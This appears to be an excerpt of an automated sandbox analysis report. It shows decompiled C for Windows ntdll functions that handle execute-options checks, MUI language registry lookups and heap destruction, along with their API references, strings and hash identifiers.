nativeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6B4740FD(void* __ecx) {
				signed int _v8;
				long _v548;
				signed int _v552;
				char _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t53;
				unsigned int _t66;
				void* _t68;
				wchar_t* _t73;
				intOrPtr _t77;
				short* _t85;
				wchar_t* _t98;
				signed int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0x6b56d360 ^ _t107;
				_v8 =  *0x6b56d360 ^ _t107;
				_t105 = __ecx;
				if( *0x6b5684d4 == 0) {
					L5:
					return E6B4BB640(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E6B48E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v552 = _t85;
					if(E6B4742EB(_t105) != 0) {
						L15:
						_t103 = 2;
						_v552 = _t103;
						L10:
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E6B4741EA(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
						}
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v552 = _t102;
						}
						if(_t102 != 0) {
							L33:
							_push(4);
							_push( &_v552);
							_push(0x22);
							_push(0xffffffff);
							_t45 = E6B4B96C0();
						}
						goto L4;
					}
					_v556 = _t85;
					_t102 =  &_v556;
					if(E6B47429E(_t105 + 0x2c, _t102) >= 0) {
						if(_v556 == _t85) {
							goto L8;
						}
						_t85 = _t105 + 0x24;
						E6B505720(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v556);
						_v560 = 0x214;
						memset( &_v548, 0, 0x214);
						_t106 =  *0x6b5684d4;
						_t110 = _t108 + 0x20;
						 *0x6b56b1e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						if( *( *0x6b5684d4)() == 0) {
							goto L8;
						}
						_t66 = _v560;
						if(_t66 == 0 || _t66 >= 0x214) {
							goto L8;
						} else {
							_t68 = (_t66 >> 1) * 2 - 2;
							if(_t68 >= 0x214) {
								E6B4BB75A();
								goto L33;
							}
							_push(_t85);
							 *((short*)(_t107 + _t68 - 0x220)) = 0;
							E6B505720(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
							_t111 = _t110 + 0x14;
							_t73 = wcsstr( &_v548, L"Execute=1");
							_push(_t85);
							if(_t73 == 0) {
								E6B505720(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
								_t106 =  &_v548;
								_t98 = _t106;
								_t112 = _t111 + 0x14;
								_t77 = _t98 + _v560;
								_v556 = _t77;
								if(_t98 >= _t77) {
									goto L8;
								} else {
									goto L27;
								}
								do {
									L27:
									_t85 = wcschr(_t106, 0x20);
									if(_t85 != 0) {
										 *_t85 = 0;
									}
									E6B505720(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t106);
									_t112 = _t112 + 0x10;
									E6B4F3E13(_t105, _t106);
									if(_t85 == 0) {
										goto L8;
									}
									_t41 = _t85 + 2; // 0x2
									_t106 = _t41;
								} while (_t106 < _v556);
								goto L8;
							}
							_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
							_push(3);
							_push(0x55);
							E6B505720();
							goto L15;
						}
					}
					L8:
					if(E6B4741F7(_t105) != 0) {
						goto L15;
					}
					_t103 = _v552;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x6b47410d
0x6b47410f
0x6b47411c
0x6b47411e
0x6b474158
0x6b474168
0x6b474168
0x6b474126
0x6b474130
0x6b47413c
0x6b4d04a2
0x6b474142
0x6b47414b
0x6b47414b
0x6b47414f
0x6b47416b
0x6b474178
0x6b4741d0
0x6b4741d2
0x6b4741d3
0x6b4741a7
0x6b4741b0
0x6b4741db
0x6b4741b2
0x6b4741b8
0x6b4741bf
0x6b4741c1
0x6b4741c1
0x6b4741c5
0x6b4741df
0x6b4741e2
0x6b4741e2
0x6b4741c9
0x6b4d0628
0x6b4d0628
0x6b4d0630
0x6b4d0631
0x6b4d0633
0x6b4d0635
0x6b4d0635
0x00000000
0x6b4741c9
0x6b47417d
0x6b474183
0x6b474190
0x6b4d04af
0x00000000
0x00000000
0x6b4d04b5
0x6b4d04c8
0x6b4d04d5
0x6b4d04e5
0x6b4d04ea
0x6b4d04f6
0x6b4d0518
0x6b4d0522
0x00000000
0x00000000
0x6b4d0528
0x6b4d0530
0x00000000
0x6b4d0543
0x6b4d0545
0x6b4d054e
0x6b4d0623
0x00000000
0x6b4d0623
0x6b4d0556
0x6b4d0557
0x6b4d056f
0x6b4d0574
0x6b4d0583
0x6b4d058a
0x6b4d058d
0x6b4d05b5
0x6b4d05c0
0x6b4d05c6
0x6b4d05c8
0x6b4d05cb
0x6b4d05cd
0x6b4d05d5
0x00000000
0x00000000
0x00000000
0x00000000
0x6b4d05db
0x6b4d05db
0x6b4d05e3
0x6b4d05e9
0x6b4d05ed
0x6b4d05ed
0x6b4d05fa
0x6b4d05ff
0x6b4d0606
0x6b4d060d
0x00000000
0x00000000
0x6b4d0613
0x6b4d0613
0x6b4d0616
0x00000000
0x6b4d061e
0x6b4d058f
0x6b4d0594
0x6b4d0596
0x6b4d0598
0x00000000
0x6b4d059d
0x6b4d0530
0x6b474196
0x6b47419f
0x00000000
0x00000000
0x6b4741a1
0x00000000
0x6b474151
0x6b474151
0x6b474151
0x00000000
0x6b474151

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?), ref: 6B474130
ZwSetInformationProcess.1105(000000FF,00000022,?,00000004,00000003,?,00000000,00000000,?), ref: 6B4D0635

Strings

CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 6B4D05AC
ExecuteOptions, xrefs: 6B4D050A
CLIENT(ntdll): Processing section info %ws..., xrefs: 6B4D05F1
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 6B4D04BF
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 6B4D0566
Execute=1, xrefs: 6B4D057D
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 6B4D058F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImageInformationProcess
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 4034523672-484625025
Opcode ID: 747c2f2e3f4e932d24cdf2821ee755e4176c8b08e5ccd22795d333699d7efb0e
Instruction ID: 55517521e4a06c6d11d45e9f257f842b77d8f3a56db37516b2a34a6c46162210
Opcode Fuzzy Hash: 747c2f2e3f4e932d24cdf2821ee755e4176c8b08e5ccd22795d333699d7efb0e
Instruction Fuzzy Hash: C3612931900119BAEB20FBA4DC9AFFA7778EF55388F0000E9D515A7281EB789E41CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6B52CF70, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6B52CF70(void* __ecx, intOrPtr _a4, intOrPtr _a8, unsigned int* _a12) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				char _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				intOrPtr _t61;
				char _t92;
				unsigned int* _t94;
				void* _t104;
				char _t105;
				unsigned int _t107;
				intOrPtr _t109;

				_v44 = 7;
				_t92 = 0;
				_t96 = 0x2000000;
				_v40 = 0;
				_v52 = 0;
				_v48 = 0;
				_t109 = E6B47F108(0, __ecx, __ecx,  &_v40);
				if(_t109 >= 0) {
					if(_a4 != 1) {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop\\MuiCached");
						_v32 = _v48;
						_t104 = 0x18;
						_v28 =  &_v44;
						_push( &_v36);
						_push(0x20019);
						_v60 = 0;
						_push( &_v60);
						_v36 = _t104;
						_v24 = 0x40;
						_v20 = 0;
						_v16 = 0;
						_t109 = E6B4B9600();
						if(_t109 < 0) {
							L5:
							if(_t109 == 0x80000005) {
								goto L9;
							} else {
								_push(_v60);
								E6B4B95D0();
								_v64 = _t92;
								RtlInitUnicodeString( &_v48, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings");
								_v48 = _t104;
								_v44 = _t92;
								goto L7;
							}
						} else {
							RtlInitUnicodeString( &_v44, L"MachinePreferredUILanguages");
							_push(0x2000000);
							_t96 = _v68;
							_t109 = E6B47F018(_t96,  &_v52,  &_v60, 0,  &_v64);
							if(_t109 >= 0) {
								goto L9;
							} else {
								goto L5;
							}
						}
					} else {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop");
						_v36 = 0x18;
						_v32 = _v48;
						L7:
						_v68 = _t92;
						_v36 =  &_v52;
						_push( &_v44);
						_push(0x20019);
						_v32 = 0x40;
						_push( &_v68);
						_v28 = _t92;
						_v24 = _t92;
						_t109 = E6B4B9600();
						if(_t109 >= 0) {
							RtlInitUnicodeString( &_v52, L"PreferredUILanguages");
							_push(_t96);
							_t96 = _v76;
							_t109 = E6B47F018(_t96,  &_v60,  &_v68, _t92,  &_v72);
							L9:
							if(_t109 != 0xc0000034) {
								_t105 = _v56;
								if(_t105 != 0) {
									if(_t109 != 0x80000005) {
										_t109 = 0xc0000034;
									} else {
										_t107 = _t105 + 1 >> 1;
										if(_a8 != _t92) {
											_t94 = _a12;
											if( *_t94 >= _t107) {
												_push(_t96);
												_t109 = E6B47F018(_v60,  &_v44,  &_v52, _a8,  &_v56);
												if(_t109 < 0) {
													goto L17;
												} else {
													if(_v56 == 7) {
														goto L16;
													} else {
														_t109 = 0xc0000034;
														goto L17;
													}
												}
												L29:
											} else {
												_t109 = 0xc0000023;
												L16:
												 *_t94 = _t107;
											}
											L17:
											_t92 = 0;
										} else {
											_t109 = _t92;
											 *_a12 = _t107;
										}
									}
								}
							}
						}
					}
				}
				_t61 = _v40;
				if(_t61 != 0) {
					if(_t61 != 0xffffffff) {
						 *0x6b456cc4(_t61);
					}
					_v40 = _t92;
				}
				if(_v52 != 0) {
					_push(_v52);
					E6B4B95D0();
				}
				return _t109;
				goto L29;
			}

0x6b52cf82
0x6b52cf8c
0x6b52cf91
0x6b52cf96
0x6b52cf9a
0x6b52cf9e
0x6b52cfa7
0x6b52cfab
0x6b52cfb9
0x6b52cfe1
0x6b52cfea
0x6b52cff4
0x6b52cff5
0x6b52cffd
0x6b52cffe
0x6b52d007
0x6b52d00b
0x6b52d00c
0x6b52d010
0x6b52d018
0x6b52d01c
0x6b52d025
0x6b52d029
0x6b52d05d
0x6b52d063
0x00000000
0x6b52d069
0x6b52d069
0x6b52d06d
0x6b52d07b
0x6b52d080
0x6b52d085
0x6b52d089
0x00000000
0x6b52d089
0x6b52d02b
0x6b52d035
0x6b52d03a
0x6b52d03b
0x6b52d053
0x6b52d057
0x00000000
0x00000000
0x00000000
0x00000000
0x6b52d057
0x6b52cfbb
0x6b52cfc1
0x6b52cfca
0x6b52cfd2
0x6b52d08d
0x6b52d091
0x6b52d095
0x6b52d09d
0x6b52d09e
0x6b52d0a7
0x6b52d0af
0x6b52d0b0
0x6b52d0b4
0x6b52d0bd
0x6b52d0c1
0x6b52d0cd
0x6b52d0d2
0x6b52d0d3
0x6b52d0eb
0x6b52d0ed
0x6b52d0f4
0x6b52d0f6
0x6b52d0fc
0x6b52d104
0x6b52d18d
0x6b52d10a
0x6b52d10b
0x6b52d110
0x6b52d11b
0x6b52d120
0x6b52d15e
0x6b52d179
0x6b52d17d
0x00000000
0x6b52d17f
0x6b52d184
0x00000000
0x6b52d186
0x6b52d186
0x00000000
0x6b52d186
0x6b52d184
0x00000000
0x6b52d122
0x6b52d122
0x6b52d127
0x6b52d127
0x6b52d127
0x6b52d129
0x6b52d129
0x6b52d112
0x6b52d115
0x6b52d117
0x6b52d117
0x6b52d110
0x6b52d104
0x6b52d0fc
0x6b52d0f4
0x6b52d0c1
0x6b52cfb9
0x6b52d12b
0x6b52d131
0x6b52d136
0x6b52d139
0x6b52d139
0x6b52d13f
0x6b52d13f
0x6b52d148
0x6b52d14a
0x6b52d14e
0x6b52d14e
0x6b52d15b
0x00000000

APIs

Part of subcall function 6B47F108: RtlOpenCurrentUser.1105(02000000,00000000,?,00000000,02000000,?,6B52CFA7,?,?,?), ref: 6B47F12C

RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6B52CFC1
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B52CFE1
ZwOpenKey.1105(?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B52D020
RtlInitUnicodeString.1105(?,MachinePreferredUILanguages,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B52D035
ZwClose.1105(?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B52D06D
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B52D080
ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B52D0B8
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6B52D0CD
ZwClose.1105(?,?,?,?), ref: 6B52D139
ZwClose.1105(00000000,?,?,?), ref: 6B52D14E

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 6B52D072
MachinePreferredUILanguages, xrefs: 6B52D02B
@, xrefs: 6B52D010
Control Panel\Desktop, xrefs: 6B52CFBB
@, xrefs: 6B52D0A7
PreferredUILanguages, xrefs: 6B52D0C3
Control Panel\Desktop\MuiCached, xrefs: 6B52CFDB

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$CurrentUser
String ID: @$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 3208599939-2289709611
Opcode ID: 152385bd53279ea5624e379827df4a61315ea9e603609238bdea612a8864014c
Instruction ID: 50b5e9b250368a9640d978a5263c945c1d14e56b8d13b7471793d98d4de5be2e
Opcode Fuzzy Hash: 152385bd53279ea5624e379827df4a61315ea9e603609238bdea612a8864014c
Instruction Fuzzy Hash: 305153B18493559FD711CF29C880E8BB7E8FF85758F000A6EF994A7290D738D904CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B472FB0, Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6B472FB0(intOrPtr* _a4) {
				signed int _v8;
				void* _v36;
				void* _v62;
				void* _v68;
				void* _v72;
				signed int _v96;
				void* _v98;
				char _v100;
				void* _v104;
				void* _v108;
				void* _v112;
				void* _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t62;
				intOrPtr _t64;
				signed int* _t83;
				signed int _t84;
				signed int _t88;
				char* _t89;
				char _t93;
				void* _t99;
				signed int* _t102;
				intOrPtr _t103;
				void* _t104;
				signed int* _t107;
				signed int _t108;
				char* _t115;
				signed int _t118;
				signed int _t124;
				void* _t125;
				void* _t126;
				signed int _t127;
				intOrPtr* _t128;
				void* _t135;
				intOrPtr _t137;
				intOrPtr* _t159;
				void* _t160;
				void* _t162;
				intOrPtr* _t164;
				void* _t167;
				signed int* _t168;
				signed int* _t169;
				signed int _t172;
				signed int _t174;

				_t174 = (_t172 & 0xfffffff8) - 0x64;
				_v8 =  *0x6b56d360 ^ _t174;
				_push(_t125);
				_t159 = _a4;
				if(_t159 == 0) {
					__eflags =  *0x6b568748 - 2;
					if( *0x6b568748 >= 2) {
						_t64 =  *[fs:0x30];
						__eflags =  *(_t64 + 0xc);
						if( *(_t64 + 0xc) == 0) {
							_push("HEAP: ");
							E6B47B150();
						} else {
							E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(HeapHandle != NULL)");
						E6B47B150();
						__eflags =  *0x6b567bc8;
						if(__eflags == 0) {
							_t135 = 2;
							E6B532073(_t125, _t135, _t159, __eflags);
						}
					}
					L26:
					_t62 = 0;
					L27:
					_pop(_t160);
					_pop(_t162);
					_pop(_t126);
					return E6B4BB640(_t62, _t126, _v8 ^ _t174, _t155, _t160, _t162);
				}
				if( *((intOrPtr*)(_t159 + 8)) == 0xddeeddee) {
					_t137 =  *[fs:0x30];
					__eflags = _t159 -  *((intOrPtr*)(_t137 + 0x18));
					if(_t159 ==  *((intOrPtr*)(_t137 + 0x18))) {
						L30:
						_t62 = _t159;
						goto L27;
					}
					_t138 =  *(_t159 + 0x20);
					__eflags =  *(_t159 + 0x20);
					if( *(_t159 + 0x20) != 0) {
						_t155 = _t159;
						E6B51CB1E(_t138, _t159, 0, 8, 0);
					}
					E6B4731B0(_t125, _t159, _t155);
					E6B53274F(_t159);
					_t155 = 1;
					E6B4A1249(_t159, 1, 0, 0);
					E6B53B581(_t159);
					goto L26;
				}
				if(( *(_t159 + 0x44) & 0x01000000) != 0) {
					_t164 =  *0x6b565718; // 0x0
					 *0x6b56b1e0(_t159);
					_t62 =  *_t164();
					goto L27;
				}
				_t144 =  *((intOrPtr*)(_t159 + 0x58));
				if( *((intOrPtr*)(_t159 + 0x58)) != 0) {
					_t155 = _t159;
					E6B51CB1E(_t144, _t159, 0, 8, 0);
				}
				E6B4731B0(_t125, _t159, _t155);
				if(( *(_t159 + 0x40) & 0x61000000) != 0) {
					__eflags =  *(_t159 + 0x40) & 0x10000000;
					if(( *(_t159 + 0x40) & 0x10000000) != 0) {
						goto L5;
					}
					_t124 = E6B533518(_t159);
					__eflags = _t124;
					if(_t124 == 0) {
						goto L30;
					}
					goto L5;
				} else {
					L5:
					if(_t159 ==  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
						goto L30;
					} else {
						_t155 = 1;
						E6B4A1249(_t159, 1, 0, 0);
						_t83 = _t159 + 0x9c;
						_t127 =  *_t83;
						while(_t83 != _t127) {
							_t84 = _t127;
							_t155 =  &_v96;
							_t127 =  *_t127;
							_v96 = _t84 & 0xffff0000;
							_v100 = 0;
							E6B4A174B( &_v96,  &_v100, 0x8000);
							_t88 = E6B497D50();
							__eflags = _t88;
							if(_t88 == 0) {
								_t89 = 0x7ffe0388;
							} else {
								_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							}
							__eflags =  *_t89;
							if(__eflags != 0) {
								_t155 = _v96;
								E6B52FE3F(_t159, _v96, _v100);
							}
							_t83 = _t159 + 0x9c;
						}
						if( *((char*)(_t159 + 0xda)) == 2) {
							_t93 =  *((intOrPtr*)(_t159 + 0xd4));
						} else {
							_t93 = 0;
						}
						if(_t93 != 0) {
							 *((intOrPtr*)(_t174 + 0x1c)) = _t93;
							_t155 = _t174 + 0x1c;
							 *((intOrPtr*)(_t174 + 0x1c)) = 0;
							E6B4A174B(_t174 + 0x1c, _t174 + 0x1c, 0x8000);
						}
						_t128 = _t159 + 0x88;
						if( *_t128 != 0) {
							 *((intOrPtr*)(_t174 + 0x24)) = 0;
							_t155 = _t128;
							E6B4A174B(_t128, _t174 + 0x24, 0x8000);
							 *_t128 = 0;
						}
						if(( *(_t159 + 0x40) & 0x00000001) == 0) {
							 *((intOrPtr*)(_t159 + 0xc8)) = 0;
						}
						goto L16;
						L16:
						_t167 =  *((intOrPtr*)(_t159 + 0xa8)) - 0x10;
						E6B473138(_t167);
						if(_t167 != _t159) {
							goto L16;
						} else {
							_t99 = E6B497D50();
							_t168 = 0x7ffe0380;
							if(_t99 != 0) {
								_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t102 = 0x7ffe0380;
							}
							if( *_t102 != 0) {
								_t103 =  *[fs:0x30];
								__eflags =  *(_t103 + 0x240) & 0x00000001;
								if(( *(_t103 + 0x240) & 0x00000001) != 0) {
									_t118 = E6B497D50();
									__eflags = _t118;
									if(_t118 != 0) {
										_t168 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags = _t168;
									}
									 *((short*)(_t174 + 0x2a)) = 0x1023;
									_push(_t174 + 0x24);
									_push(4);
									_push(0x402);
									_push( *_t168 & 0x000000ff);
									 *((intOrPtr*)(_t174 + 0x54)) = _t159;
									E6B4B9AE0();
								}
							}
							_t104 = E6B497D50();
							_t169 = 0x7ffe038a;
							if(_t104 != 0) {
								_t107 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t107 = 0x7ffe038a;
							}
							if( *_t107 != 0) {
								_t108 = E6B497D50();
								__eflags = _t108;
								if(_t108 != 0) {
									_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t169;
								}
								 *((short*)(_t174 + 0x4e)) = 0x1023;
								_push(_t174 + 0x48);
								_push(4);
								_push(0x402);
								_push( *_t169 & 0x000000ff);
								 *((intOrPtr*)(_t174 + 0x78)) = _t159;
								E6B4B9AE0();
							}
							if(E6B497D50() != 0) {
								_t115 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							} else {
								_t115 = 0x7ffe0388;
							}
							if( *_t115 != 0) {
								E6B52FDD3(_t159);
							}
							goto L26;
						}
					}
				}
			}

0x6b472fb8
0x6b472fc2
0x6b472fc6
0x6b472fc9
0x6b472fce
0x6b4cfb7d
0x6b4cfb84
0x6b4cfb8a
0x6b4cfb90
0x6b4cfb94
0x6b4cfbb3
0x6b4cfbb8
0x6b4cfb96
0x6b4cfbab
0x6b4cfbb0
0x6b4cfbbe
0x6b4cfbc3
0x6b4cfbc8
0x6b4cfbd0
0x6b4cfbd8
0x6b4cfbd9
0x6b4cfbd9
0x6b4cfbd0
0x6b4730ea
0x6b4730ea
0x6b4730ec
0x6b4730f0
0x6b4730f1
0x6b4730f2
0x6b4730fd
0x6b4730fd
0x6b472fdb
0x6b4cfbe3
0x6b4cfbea
0x6b4cfbed
0x6b47312b
0x6b47312b
0x00000000
0x6b47312b
0x6b4cfbf3
0x6b4cfbf8
0x6b4cfbfa
0x6b4cfc00
0x6b4cfc02
0x6b4cfc02
0x6b4cfc09
0x6b4cfc10
0x6b4cfc1b
0x6b4cfc1c
0x6b4cfc23
0x00000000
0x6b4cfc23
0x6b472fe8
0x6b4cfc2d
0x6b4cfc36
0x6b4cfc3c
0x00000000
0x6b4cfc3c
0x6b472fee
0x6b472ff5
0x6b4cfc47
0x6b4cfc49
0x6b4cfc49
0x6b472ffd
0x6b473009
0x6b4cfc53
0x6b4cfc5a
0x00000000
0x00000000
0x6b4cfc62
0x6b4cfc67
0x6b4cfc69
0x00000000
0x00000000
0x00000000
0x6b47300f
0x6b47300f
0x6b473018
0x00000000
0x6b47301e
0x6b473024
0x6b473025
0x6b47302a
0x6b473030
0x6b473032
0x6b4cfc74
0x6b4cfc76
0x6b4cfc7a
0x6b4cfc81
0x6b4cfc8f
0x6b4cfc93
0x6b4cfc98
0x6b4cfc9d
0x6b4cfc9f
0x6b4cfcb1
0x6b4cfca1
0x6b4cfcaa
0x6b4cfcaa
0x6b4cfcb6
0x6b4cfcb9
0x6b4cfcbf
0x6b4cfcc5
0x6b4cfcc5
0x6b4cfcca
0x6b4cfcca
0x6b473041
0x6b473100
0x6b473047
0x6b473047
0x6b473047
0x6b47304b
0x6b47310b
0x6b47310f
0x6b47311c
0x6b473121
0x6b473121
0x6b473051
0x6b473059
0x6b4cfcde
0x6b4cfce3
0x6b4cfce5
0x6b4cfcea
0x6b4cfcea
0x6b473063
0x6b473075
0x6b473075
0x00000000
0x6b47307b
0x6b473081
0x6b473086
0x6b47308d
0x00000000
0x6b47308f
0x6b47308f
0x6b473094
0x6b4730a0
0x6b4cfcfa
0x6b4730a6
0x6b4730a6
0x6b4730a6
0x6b4730ab
0x6b4cfd01
0x6b4cfd07
0x6b4cfd0e
0x6b4cfd14
0x6b4cfd19
0x6b4cfd1b
0x6b4cfd26
0x6b4cfd26
0x6b4cfd26
0x6b4cfd2f
0x6b4cfd38
0x6b4cfd39
0x6b4cfd3b
0x6b4cfd43
0x6b4cfd44
0x6b4cfd48
0x6b4cfd48
0x6b4cfd0e
0x6b4730b1
0x6b4730b6
0x6b4730c2
0x6b4cfd5b
0x6b4730c8
0x6b4730c8
0x6b4730c8
0x6b4730cd
0x6b4cfd62
0x6b4cfd67
0x6b4cfd69
0x6b4cfd74
0x6b4cfd74
0x6b4cfd74
0x6b4cfd7d
0x6b4cfd86
0x6b4cfd87
0x6b4cfd89
0x6b4cfd91
0x6b4cfd92
0x6b4cfd96
0x6b4cfd96
0x6b4730da
0x6b4cfda9
0x6b4730e0
0x6b4730e0
0x6b4730e0
0x6b4730e8
0x6b473131
0x6b473131
0x00000000
0x6b4730e8
0x6b47308d
0x6b473018

APIs

RtlDeleteCriticalSection.1105(?,00000000,00008000), ref: 6B473070
RtlGetCurrentServiceSessionId.1105(00000000,00008000), ref: 6B47308F
RtlGetCurrentServiceSessionId.1105 ref: 6B4730B1
RtlGetCurrentServiceSessionId.1105 ref: 6B4730D3
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B4CFBAB
DbgPrint.1105((HeapHandle != NULL)), ref: 6B4CFBC3
RtlDebugPrintTimes.1105(?), ref: 6B4CFC36

Part of subcall function 6B4731B0: RtlAcquireSRWLockExclusive.1105(6B568660,?,00000000,6B4CFC0E), ref: 6B4731BC
Part of subcall function 6B4731B0: RtlReleaseSRWLockExclusive.1105(6B568660,6B568660,?,00000000,6B4CFC0E), ref: 6B4731CF

Strings

(HeapHandle != NULL), xrefs: 6B4CFBBE
HEAP: , xrefs: 6B4CFBB3
HEAP[%wZ]: , xrefs: 6B4CFBA6

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentPrintServiceSession$ExclusiveLock$AcquireCriticalDebugDeleteReleaseSectionTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1992993584-3610490719
Opcode ID: f31e4f3c728470603dd116a5589b09babfb3de6d499e101c4fb7f203efa90069
Instruction ID: d24e1898609c858a16f94d62a904fc475faf7d4877f537cc73549f954626c8c3
Opcode Fuzzy Hash: f31e4f3c728470603dd116a5589b09babfb3de6d499e101c4fb7f203efa90069
Instruction Fuzzy Hash: 45912331749A809BD735EB38C851FAAB7A5FF85B04F0044A9E9418B385DB3DE846C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4ACCC0, Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 218
nativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6B4ACCC0(intOrPtr _a4, intOrPtr* _a8, signed int* _a12) {
				signed int _v8;
				char _v540;
				signed int _v544;
				char _v556;
				signed int _v560;
				signed int _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				signed int _v576;
				char _v580;
				char _v584;
				char* _v588;
				signed int _v590;
				signed int _v592;
				int _v596;
				signed int _v600;
				void* _v608;
				void* _v612;
				signed int _v616;
				intOrPtr _v620;
